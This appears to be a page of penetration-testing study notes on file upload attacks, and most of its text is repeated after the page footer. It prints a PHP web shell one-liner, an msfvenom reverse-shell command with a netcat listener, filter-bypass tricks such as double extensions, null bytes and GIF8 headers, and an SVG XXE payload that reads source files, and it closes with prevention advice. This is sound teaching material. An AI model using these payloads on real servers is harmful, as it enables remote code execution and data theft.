File Upload Attacks

One of the most common and critical attacks caused by arbitrary file uploads is gaining remote command execution on the back-end server by uploading a web shell or a script that sends a reverse shell.
A web shell must be written in the same programming language that runs the web server. To determine the language, you can try accessing the /index.ext page, substituting ext with common web extensions like .php, .asp, .aspx, and others. Tools like Wappalyzer can also help identify the programming language used.
Basic webshell in php will look like this:

#Run commands by appending ?cmd=<Command> to the end of the URL.
<?php system($_REQUEST['cmd']); ?>

#Reverse Shell creation using msfvenom
msfvenom -p php/reverse_php LHOST=<Our_IP> LPORT=<Our_Port> -f raw > <Output-File-Name>

#Start a listener using netcat
nc -lvnp <Our-Port>

To execute the reverse shell, upload it to the target, open a listener on your device, and run the shell by accessing its URL.

Bypassing Filters

Frontend Filters

If filters are applied on the client side, they can be bypassed using a proxy by editing the file name and content at the end of the request. Alternatively, you can disable the filters by editing the source code of the webpage you are viewing.
Viewing the source can also help identify where the shell was uploaded which will be needed to execute the shell.

Backend Filters

Backend filters commonly validate file extensions using either a blacklist or a whitelist. They may also check the file type or content for matching, with blacklists being the weakest of the three because they are often not comprehensive.

Blacklist Filters

If a website tests for specific file extensions, the first step is to fuzz the extensions to determine which are allowed (e.g., .phar, .phtml for PHP). Once an allowed extension is identified, it can be used to upload a shell.

Whitelist Filters

Whitelists are more secure as they only allow specified extensions. However, bypasses are still possible by finding loopholes in the regex used for checking, such as uploading a double extension file (.jpeg.php).
Bugs in the web server configuration can also be exploited, such as the reverse double extension in some Apache servers, where a file with .php anywhere in its name would be executed as a PHP file (e.g., .php.jpeg).
Additionally, character injections like %20, %0a, or %00 can be used to bypass filters (e.g., .php%20.jpeg).

Content Type Filters

Since file extensions can sometimes be bypassed, modern web servers also check file content to determine whether to allow the file.
The first method involves checking the Content-Type header, which can be easily modified before sending the request.
The second method involves using MIME type, based on the file's signature or magic bytes. For example, adding GIF8 at the beginning of a web shell can trick the web server into recognizing it as a GIF image, allowing it to bypass content-type checks.

Alternative Exploits

Some file types allow the introduction of Stored XSS vulnerabilities by uploading maliciously crafted versions. For instance, uploading HTML files with embedded JavaScript code can carry out XSS or CSRF attacks. Similarly, SVG images can include XSS payloads or malicious XML data for XXE exploitation, leaking source code or internal documents. Other document types, like PDFs or Word documents, can also be manipulated to include malicious XML data for blind XXE attacks.

#Example XXE injection in svg to read source code

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

File upload functions can also be exploited to cause DDoS attacks. For example, using a decompression bomb (Nested ZIP archives) with compressed file types can crash the server by generating massive amounts of data.
A pixel flood attack with manipulated JPG images (manually modifying its compression data to say it has a size of (0xffff x 0xffff) can also consume server resources, causing a crash.
If the upload function is vulnerable to directory traversal, files can be uploaded to different directories (e.g., ../../../etc/passwd), potentially crashing the server.
Injection attacks in file names can also be used to execute OS commands or perform XSS attacks.
Errors in handling file uploads can reveal the upload directory, either through an error message when uploading a file with the same name or by attempting to upload a file with an overly long name.
In Windows, using reserved characters (e.g., |, <, >, *, or ?) or reserved names (e.g., CON, COM1, LPT1, NUL) can cause errors when writing files. The Windows 8.3 Filename Convention, which uses a tilde (~) to shorten file names, can also be exploited to overwrite existing files or refer to non-existent files.

Preventing File Upload Vulnerabilities

File Extension Validation: Use both whitelisting and blacklisting for file extensions. Check if the extension exists anywhere in the file name (for blacklist) and if the file name ends with the extension (for whitelist).
Content Validation: Ensure content validation is performed alongside file extension checks.
Hiding Uploads Directory: Avoid disclosing the uploads directory or providing direct access to uploaded files. Use a download page to fetch files from the uploads directory, hiding its location from end-users. Randomize file names in storage and store sanitized original names in a database. Consider storing uploaded files on a separate server or container to limit damage in case of remote code execution.
Disabling Dangerous Functions: Disable specific functions that may be used to execute system commands, such as exec, shell_exec, system, passthru, in PHP via the disable_functions configuration in php.ini.
Handling Errors Securely: Avoid disclosing system or server errors. Handle errors at the application level, displaying generic messages without revealing sensitive information.
Additional Security Measures: Limit file size, update libraries, scan uploaded files for malware, and use a Web Application Firewall (WAF) as an additional protection layer.

PreviousSQL Injection NextFile Inclusion

Last updated 9 months ago

#Run commands by appending ?cmd=<Command> to the end of the URL. <?php system($_REQUEST['cmd']); ?> #Reverse Shell creation using msfvenom msfvenom -p php/reverse_php LHOST=<Our_IP> LPORT=<Our_Port> -f raw > <Output-File-Name> #Start a listener using netcat nc -lvnp <Our-Port>

Bypassing Filters

Frontend Filters

If filters are applied on the client side, they can be bypassed using a proxy by editing the file name and content at the end of the request. Alternatively, you can disable the filters by editing the source code of the webpage you are viewing.

Viewing the source can also help identify where the shell was uploaded which will be needed to execute the shell.

Backend Filters

Backend filters commonly validate file extensions using either a blacklist or a whitelist. They may also check the file type or content for matching, with blacklists being the weakest of the three because they are often not comprehensive.

Blacklist Filters

If a website tests for specific file extensions, the first step is to fuzz the extensions to determine which are allowed (e.g., .phar, .phtml for PHP). Once an allowed extension is identified, it can be used to upload a shell.

Whitelist Filters

Whitelists are more secure as they only allow specified extensions. However, bypasses are still possible by finding loopholes in the regex used for checking, such as uploading a double extension file (.jpeg.php).

Bugs in the web server configuration can also be exploited, such as the reverse double extension in some Apache servers, where a file with .php anywhere in its name would be executed as a PHP file (e.g., .php.jpeg).

Additionally, character injections like %20, %0a, or %00 can be used to bypass filters (e.g., .php%20.jpeg).

Content Type Filters

Since file extensions can sometimes be bypassed, modern web servers also check file content to determine whether to allow the file.

The first method involves checking the Content-Type header, which can be easily modified before sending the request.

The second method involves using MIME type, based on the file's signature or magic bytes. For example, adding GIF8 at the beginning of a web shell can trick the web server into recognizing it as a GIF image, allowing it to bypass content-type checks.

Alternative Exploits

Some file types allow the introduction of Stored XSS vulnerabilities by uploading maliciously crafted versions. For instance, uploading HTML files with embedded JavaScript code can carry out XSS or CSRF attacks. Similarly, SVG images can include XSS payloads or malicious XML data for XXE exploitation, leaking source code or internal documents. Other document types, like PDFs or Word documents, can also be manipulated to include malicious XML data for blind XXE attacks.

#Example XXE injection in svg to read source code

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

File upload functions can also be exploited to cause DDoS attacks. For example, using a decompression bomb (Nested ZIP archives) with compressed file types can crash the server by generating massive amounts of data.

A pixel flood attack with manipulated JPG images (manually modifying its compression data to say it has a size of (0xffff x 0xffff) can also consume server resources, causing a crash.

If the upload function is vulnerable to directory traversal, files can be uploaded to different directories (e.g., ../../../etc/passwd), potentially crashing the server.

Injection attacks in file names can also be used to execute OS commands or perform XSS attacks.

Errors in handling file uploads can reveal the upload directory, either through an error message when uploading a file with the same name or by attempting to upload a file with an overly long name.

In Windows, using reserved characters (e.g., |, <, >, *, or ?) or reserved names (e.g., CON, COM1, LPT1, NUL) can cause errors when writing files. The Windows 8.3 Filename Convention, which uses a tilde (~) to shorten file names, can also be exploited to overwrite existing files or refer to non-existent files.

Preventing File Upload Vulnerabilities

File Extension Validation: Use both whitelisting and blacklisting for file extensions. Check if the extension exists anywhere in the file name (for blacklist) and if the file name ends with the extension (for whitelist).

Content Validation: Ensure content validation is performed alongside file extension checks.

Hiding Uploads Directory: Avoid disclosing the uploads directory or providing direct access to uploaded files. Use a download page to fetch files from the uploads directory, hiding its location from end-users. Randomize file names in storage and store sanitized original names in a database. Consider storing uploaded files on a separate server or container to limit damage in case of remote code execution.

Disabling Dangerous Functions: Disable specific functions that may be used to execute system commands, such as exec, shell_exec, system, passthru, in PHP via the disable_functions configuration in php.ini.

Handling Errors Securely: Avoid disclosing system or server errors. Handle errors at the application level, displaying generic messages without revealing sensitive information.

Additional Security Measures: Limit file size, update libraries, scan uploaded files for malware, and use a Web Application Firewall (WAF) as an additional protection layer.